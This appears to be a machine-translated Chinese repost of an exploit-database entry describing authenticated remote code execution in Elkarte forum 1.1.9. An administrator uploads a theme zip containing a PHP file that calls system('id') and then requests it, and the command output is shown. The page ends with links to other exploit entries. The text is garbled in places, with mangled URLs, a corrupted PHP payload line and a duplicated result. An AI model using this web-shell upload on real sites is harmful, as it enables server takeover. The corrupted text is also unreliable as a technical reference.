Elkarte论坛1.1.9-远程代码执行（RCE）（身份验证）

[HackApt-37 Team已验证会员]

＃利用标题: Elkarte论坛1.1.9-远程代码执行（RCE）（认证）
＃日期: 2024-5-24
＃利用作者: TMRSWRR
＃类别: WebApps
＃供应商homepage3360 https://www.elkarte.net/
＃软件链接: https://github.com/elkarte/elkarte/releases/download/v1.1.9/elkarte_v1-1-1-9_install.zip
＃版本: 1.1.9
1）登录后转到管理和安装主题3https://127.0.0.1/elkarte/index.php?action=admin; area=theme; sa=admin; c2e39a0d=276c276c2e3e39a0d6a0d65w2qg1voaffx1voaffx11ync5m
2）上传test.zip文件，然后单击install test.zip test.php？php？php回声系统（'id'）;
3）转到主题设置主题目录3https://127.0.0.1/elkarte/themes/test/test.php
结果: UID=1000（Elkarte）GID=1000（Elkarte）组=1000（Elkarte）UID=1000（Elkarte）Gid=1000（Elkarte）组=1000（Elkarte）

 

H

更改搜索0.45.20-远程代码执行（RCE）

H

IMLOG 1.307-持续的跨站点脚本（XSS）